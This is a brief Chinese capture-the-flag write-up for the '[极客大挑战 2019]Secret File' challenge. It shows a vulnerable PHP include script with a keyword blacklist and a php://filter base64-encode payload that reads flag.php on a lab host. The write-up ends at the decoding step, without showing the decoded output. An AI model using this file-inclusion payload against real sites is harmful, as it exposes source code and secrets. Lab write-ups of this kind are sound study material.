2021/6/19
[极客大挑战 2019]Secret File
php伪协议
302转跳
打开之后页面没啥有用的信息去看源码
发现了Archive_room.php访问有一个
SECRET 点击发现是直接就转跳了想到bp抓包
于是抓包
发现 secr3t.php
去访问发现一段源码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
一开始考虑直接访问flag.php,但是发现查看不了flag
又看上边过滤了很多,于是又想到了php伪协议
构造payload:http://1ad1ad22-079c-4897-8eb9-2ebfe14abc2b.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
果然
解码